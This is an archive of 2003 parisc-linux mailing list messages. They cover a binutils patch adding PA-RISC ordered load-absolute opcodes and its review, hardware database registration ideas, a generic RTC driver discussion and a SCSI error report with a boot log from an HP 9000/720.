{standard input}: Assembler messages:
{standard input}:1039: Error: Invalid operands 
{standard input}:1054: Error: Invalid operands 
...

the -S output from eeprom.s looks like:
...
   1034 #NO_APP
   1035         extrd,u %r19,63,32,%r19
   1036 #APP
   1037                 stwa,o  %r19,0(%r26)
   1038 
   1039                 ldwa,o  0(%r26),%r21
   1040 
   1041 #NO_APP
   1042         or %r20,%r22,%r20

As one can see, "stwa,o" was ok but "ldwa,o" was not.
I've checked the pa2.0 arch and one of the restrictions is
the "im5" value must be zero (which it obviously is).

Appended is my very first attempt at adding a new opcode.
i think I have the match/mask fields right.
I'm still a bit sketchy on co/cc/@ specs.

thanks,
grant

--- ./binutils-2.13.90.0.16/include/opcode/hppa.h-orig  2003-01-30 21:06:56.000000000 -0800
+++ ./binutils-2.13.90.0.16/include/opcode/hppa.h       2003-01-30 22:58:54.000000000 -0800
@@ -405,6 +405,7 @@ static const struct pa_opcode pa_opcodes
 { "ldbx",       0x0c000000, 0xfc001fc0, "cXx(b),t", pa10, 0},
 { "ldwa",       0x0c000180, 0xfc00d3c0, "cxccx(b),t", pa10, FLAG_STRICT},
 { "ldwa",	0x0c001180, 0xfc00d3c0, "cmcc5(b),t", pa10, FLAG_STRICT},
+{ "ldwa",	0x0c0031a0, 0xfc1ff3d0, "cocc@(b),t", pa20, FLAG_STRICT},
 { "ldcw",       0x0c0001c0, 0xfc0013c0, "cxcdx(s,b),t", pa10, FLAG_STRICT},
 { "ldcw",       0x0c0001c0, 0xfc0013c0, "cxcdx(b),t", pa10, FLAG_STRICT},
 { "ldcw",	0x0c0011c0, 0xfc0013c0, "cmcd5(s,b),t", pa10, FLAG_STRICT},
@@ -415,6 +416,7 @@ static const struct pa_opcode pa_opcodes
 { "stby",	0x0c001300, 0xfc0013c0, "cscCx,V(b)", pa10, FLAG_STRICT},
 { "ldda",       0x0c000100, 0xfc00d3c0, "cxccx(b),t", pa20, FLAG_STRICT},
 { "ldda",	0x0c001100, 0xfc00d3c0, "cmcc5(b),t", pa20, FLAG_STRICT},
+{ "ldda",	0x0c003100, 0xfc1ff3d0, "cocc@(b),t", pa20, FLAG_STRICT},
 { "ldcd",       0x0c000140, 0xfc0013c0, "cxcdx(s,b),t", pa20, FLAG_STRICT},
 { "ldcd",       0x0c000140, 0xfc0013c0, "cxcdx(b),t", pa20, FLAG_STRICT},
 { "ldcd",	0x0c001140, 0xfc0013c0, "cmcd5(s,b),t", pa20, FLAG_STRICT},


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: hwdb (was bad reply on RE: [parisc-linux] quad tulip now not func
	tional in 2.4.20)
Date: Fri, 31 Jan 2003 09:46:50 +0100
Lines: 147
Approved: news@gmane.org
Message-ID: <03Jan31.100156cet.119052@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2C905.4BDF4CA0"
X-Trace: ger.gmane.org 1416622170 20884 80.91.229.3 (22 Nov 2014 02:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:30 +0000 (UTC)
Cc: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>,
	"'jsoe0708@tiscali.be'" <jsoe0708@tiscali.be>,
	Ed Schaller <schallee@darkmist.net>,
	parisc-linux@lists.parisc-linux.org
To: "'grundler@dsl2.external.hp.com'" <grundler@dsl2.external.hp.com>,
	"Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 01:47:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5841A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 01:47:08 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119052>; Fri, 31 Jan 2003 10:01:56 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17570

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2C905.4BDF4CA0
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: grundler@dsl2.external.hp.com
> [mailto:grundler@dsl2.external.hp.com]
> Sent: donderdag 30 januari 2003 20:24
> To: Michael S. Zick
> Cc: Beerse, Corn?; 'jsoe0708@tiscali.be'; Ed Schaller;
> parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] quad tulip now not functional in 2.4.20
> 
> 
> On Thu, Jan 30, 2003 at 08:45:46AM -0600, Michael S. Zick wrote:
> > "tweaking" a web page or two to make this usage clear
> > to the newcomer might help.
> 
> The goal of the HWDB was to survey what HW each model machine has
> so we could write proper support in the kernel.

It would be nice if there is a statement with the parts if they are
supported by the linux implementation. Say in the range 'supported', 'work
in progress' or 'not supported'. Then, other users can see at a glance if it
is usable for them.

> AFAIK, The people submitting entries didn't sign up to do 
> newbie support.

You are right, you might get to many questions like 'when will my hardware
be supported?' It might be a bad idea at all.

> 
> Keep posting questions to the parisc-linux mailing list and let people
> who *want* to answer them do so.

True.

> 
> If someone is looking for platform specific install notes, I think
> ESIEE has such a web page already. Following links to ESIEE
> from www.parisc-linux.org.

Better, start at http://www.parisc-linux.org/hardware/supported.html (from
the same page: is my hardware supported).


So after all, I think most info is at the page, it is the newbees that need
a reading/browsing cource before they start.

CBee

------_=_NextPart_001_01C2C905.4BDF4CA0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>hwdb (was bad reply on RE: [parisc-linux] quad tulip now not =
functional in 2.4.20)</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: grundler@dsl2.external.hp.com</FONT>
<BR><FONT SIZE=3D2>&gt; [<A =
HREF=3D"mailto:grundler@dsl2.external.hp.com">mailto:grundler@dsl2.exter=
nal.hp.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: donderdag 30 januari 2003 20:24</FONT>
<BR><FONT SIZE=3D2>&gt; To: Michael S. Zick</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: Beerse, Corn?; 'jsoe0708@tiscali.be'; Ed =
Schaller;</FONT>
<BR><FONT SIZE=3D2>&gt; parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [parisc-linux] quad tulip now not =
functional in 2.4.20</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Thu, Jan 30, 2003 at 08:45:46AM -0600, =
Michael S. Zick wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &quot;tweaking&quot; a web page or two to =
make this usage clear</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; to the newcomer might help.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The goal of the HWDB was to survey what HW each =
model machine has</FONT>
<BR><FONT SIZE=3D2>&gt; so we could write proper support in the =
kernel.</FONT>
</P>

<P><FONT SIZE=3D2>It would be nice if there is a statement with the =
parts if they are supported by the linux implementation. Say in the =
range 'supported', 'work in progress' or 'not supported'. Then, other =
users can see at a glance if it is usable for them.</FONT></P>

<P><FONT SIZE=3D2>&gt; AFAIK, The people submitting entries didn't sign =
up to do </FONT>
<BR><FONT SIZE=3D2>&gt; newbie support.</FONT>
</P>

<P><FONT SIZE=3D2>You are right, you might get to many questions like =
'when will my hardware be supported?' It might be a bad idea at =
all.</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Keep posting questions to the parisc-linux =
mailing list and let people</FONT>
<BR><FONT SIZE=3D2>&gt; who *want* to answer them do so.</FONT>
</P>

<P><FONT SIZE=3D2>True.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; If someone is looking for platform specific =
install notes, I think</FONT>
<BR><FONT SIZE=3D2>&gt; ESIEE has such a web page already. Following =
links to ESIEE</FONT>
<BR><FONT SIZE=3D2>&gt; from www.parisc-linux.org.</FONT>
</P>

<P><FONT SIZE=3D2>Better, start at <A =
HREF=3D"http://www.parisc-linux.org/hardware/supported.html" =
TARGET=3D"_blank">http://www.parisc-linux.org/hardware/supported.html</A=
> (from the same page: is my hardware supported).</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>So after all, I think most info is at the page, it is =
the newbees that need a reading/browsing cource before they =
start.</FONT></P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2C905.4BDF4CA0--


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hardware Database & User Contacts
Date: Fri, 31 Jan 2003 07:17:28 -0600
Lines: 54
Approved: news@gmane.org
Message-ID: <03013107172800.00735@localhost.localdomain>
References: <03Jan30.121351cet.119060@ns.hiscom.nl> <03013009214901.00780@localhost.localdomain> <20030131034613.GA11231@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622170 20885 80.91.229.3 (22 Nov 2014 02:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 06:23:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id 5D1F3482F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 06:23:25 -0700 (MST)
Original-Received: (qmail 13750 invoked by uid 0); 31 Jan 2003 13:23:21 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 0.688476 secs); 31 Jan 2003 13:23:21 -0000
Original-Received: from unknown (HELO localhost.localdomain) (66.90.216.59)
  by mail.goquest.com with SMTP; 31 Jan 2003 13:23:20 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20030131034613.GA11231@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17571

Grant
Thanks for your time...

But the person in charge is currently swapped...

So anything will have to be classed: "Maybe someday."

Mike

On Thursday 30 January 2003 09:46 pm, Grant Grundler wrote:
> On Thu, Jan 30, 2003 at 09:21:49AM -0600, Michael S. Zick wrote:
> > Group.
> >
> > I was just browsing the pages, trying to get an idea if I had
> > just volunteered for a 2-line change or a 2-million line change...
> >
> > Question 1:
> > The user registration form says "... You will not be contacted..."
> >
> > I always read that as: "We will not spam you with advertisements."
> > But others may have read that as: "You will not be contacted."
> >
> > Possible answers :
> > 1.a - Give up on the idea of recommending this use of the
> > hardware database information.
> >
> > 1.b - Add a field meaning: "Willing to give advice on this."
> > Then initialize that field for all current members to "No".
>
> yes
>
> > 1.c - Hide the email address field from public view
> > (developer only view, like it says now) unless the
> > "Willing to give advice on this." thing is marked.
>
> If you are willing to hack php...that's an option too
>
> > Question 2:
> > Is there a way to update this registration information?
>
> not at the moment.
>
> > 2.a - At this time, my e-mail address is wrong, I would like
> > to update it.
>
> it's a manual process and I'm not doing it.
>
> > 2.b - If we set all existing users to 1.b - "No"; is there a
> > way for them to update it to "Yes"?
>
> not until someone writes the code to do it.
>
> grant


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH hppa ordered load absolute ops
Date: Fri, 31 Jan 2003 11:11:26 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200301311611.h0VGBQiC020120__29261.7034669549$1416622170$gmane$org@hiauly1.hia.nrc.ca>
References: <20030131070155.8DDFD482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622170 20891 80.91.229.3 (22 Nov 2014 02:09:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:30 +0000 (UTC)
Cc: bug-binutils@gnu.org, parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 09:11:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13A90482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 09:11:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0VGBRot020121;
	Fri, 31 Jan 2003 11:11:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0VGBQiC020120;
	Fri, 31 Jan 2003 11:11:26 -0500 (EST)
In-Reply-To: <20030131070155.8DDFD482A@dsl2.external.hp.com> from "Grant Grundler" at Jan 31, 2003 00:01:55 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17572

Grant,

>  { "ldwa",       0x0c000180, 0xfc00d3c0, "cxccx(b),t", pa10, FLAG_STRICT},
>  { "ldwa",	0x0c001180, 0xfc00d3c0, "cmcc5(b),t", pa10, FLAG_STRICT},
> +{ "ldwa",	0x0c0031a0, 0xfc1ff3d0, "cocc@(b),t", pa20, FLAG_STRICT},

?               0x0c0011a0, 0xfc1ff3e0 

>  { "ldda",       0x0c000100, 0xfc00d3c0, "cxccx(b),t", pa20, FLAG_STRICT},
>  { "ldda",	0x0c001100, 0xfc00d3c0, "cmcc5(b),t", pa20, FLAG_STRICT},
> +{ "ldda",	0x0c003100, 0xfc1ff3d0, "cocc@(b),t", pa20, FLAG_STRICT},

?		0x0c001120, 0xfc1ff3e0

Shouldn't a=0, m=1 and im5=0?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Generic RTC driver in 2.4.x
Date: Fri, 31 Jan 2003 18:43:16 +0100 (MET)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0301311838270.10634-100000__5513.11616222865$1416622171$gmane$org@vervain.sonytel.be>
References: <20030130180315.GA14768@ip68-0-152-218.tc.ph.cox.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622171 20893 80.91.229.3 (22 Nov 2014 02:09:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:31 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 10:44:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA451482A
	for <parisc-linux@parisc-linux.org>; Fri, 31 Jan 2003 10:44:53 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id SAA27996;
	Fri, 31 Jan 2003 18:43:15 +0100 (MET)
In-Reply-To: <20030130180315.GA14768@ip68-0-152-218.tc.ph.cox.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17573

On Thu, 30 Jan 2003, Tom Rini wrote:
> On Fri, Jan 10, 2003 at 09:05:55PM +0100, Geert Uytterhoeven wrote:
> > Unfortunately I didn't receive any feedback from the pa-risc and ppc people
> > after my previous posting last Sunday.
> [snip]
> > Pa-risc and ppc people (any other users?), please send me your enhancements (or
> > just ack if none are necessary), so I can send genrtc to Marcelo.
> 
> Sorry I haven't spoken up before this, A simple cp of
> include/asm-ppc/rtc.h (and then throwing the question
> someplace) compiles a kernel correctly, and from what I recall of
> getting it to work in 2.5, at that point it was all good anyhow.  So
> this is fine for PPC32 as is.

Note that in the mean time genrtc has changed, so I'd prefer you to at least
sent me your include/asm-ppc/rtc.h and a patch to add the question on PPC,
_after_ you have test-compiled the latest version. I'll send it to you in a
separate mail.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds





From - Thu Nov 08 21:26:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH hppa ordered load absolute ops
Date: Fri, 31 Jan 2003 12:18:45 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20030131191845.GA30799__36626.5836557888$1416622171$gmane$org@dsl2.external.hp.com>
References: <20030131070155.8DDFD482A@dsl2.external.hp.com> <200301311611.h0VGBQiC020120@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622171 20895 80.91.229.3 (22 Nov 2014 02:09:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:31 +0000 (UTC)
Cc: bug-binutils@gnu.org, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 12:18:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3D343482A; Fri, 31 Jan 2003 12:18:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200301311611.h0VGBQiC020120@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17574

On Fri, Jan 31, 2003 at 11:11:26AM -0500, John David Anglin wrote:
> > +{ "ldda",	0x0c003100, 0xfc1ff3d0, "cocc@(b),t", pa20, FLAG_STRICT},
> ?		0x0c001120, 0xfc1ff3e0
> 
> Shouldn't a=0, m=1 and im5=0?

yes - I thought I did that.
I laid out the bits on paper and then converted to hex.
I'll review tonight but trust you can get them right :^)

thanks,
grant


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI problem on 9000/720
Date: Fri, 31 Jan 2003 21:38:59 +0100 (CET)
Lines: 107
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301312101170.10291-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622171 20901 80.91.229.3 (22 Nov 2014 02:09:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:31 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 13:39:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BAE0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 13:39:35 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (pD9E27708.dip.t-dialin.net [217.226.119.8])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id h0VKdW928271
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 21:39:33 +0100 (CET)
X-X-Sender: jochen@gfrw1044.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17575

Hi,

today, i noticed the following message in my dmesg (boot info retained):

Linux version 2.4.20-pa18 (root@ebru) (gcc version 3.0.4) #7 Wed Jan 1
18:09:15
CET 2003
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00002000 00000481 00000000 00000000 052e3468 000011f4 00000004
0000000d 00
000000
vers  00000003
model 9000/720
[...]
53c700: consistent memory allocation failed
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: TEAC      Model: FC-1     HF   07  Rev: RV A
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
  Vendor: IBM       Model: DCAS-34330        Rev: S61A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
sda : READ CAPACITY failed.
sda : status = 1, message = 00, host = 0, driver = 08
Current sd00:00: sns = 70  2
ASC= 4 ASCQ= 0
Raw sense data:0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00 0x00
0x04
0x00 0x00 0x00
sda : block size assumed to be 512 bytes, disk size 1GB.
Partition check:
 sda: I/O error: dev 08:00, sector 0
 I/O error: dev 08:00, sector 0
 unable to read partition table
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sdb: 8467200 512-byte hdwr sectors (4335 MB)
 sdb: sdb1 sdb2 sdb3 sdb4
[...] [sda is floppy, sdb is hard disk]
scsi0 (6:0) Target is suffering from tag starvation.
scsi0: (6:0) phase mismatch at 0228, phase IO BSY REQ DATA_IN
scsi0: Bus Reset detected, executing command 1034c800, slot 10361390, dsp
003602
28[0228]
 failing command because of reset, slot 10360520, cmnd 1034b600
 failing command because of reset, slot 10360654, cmnd 1034bc00
 failing command because of reset, slot 10360788, cmnd 1034a400
 failing command because of reset, slot 103608bc, cmnd 1034ca00
 failing command because of reset, slot 10360b24, cmnd 1034ce00
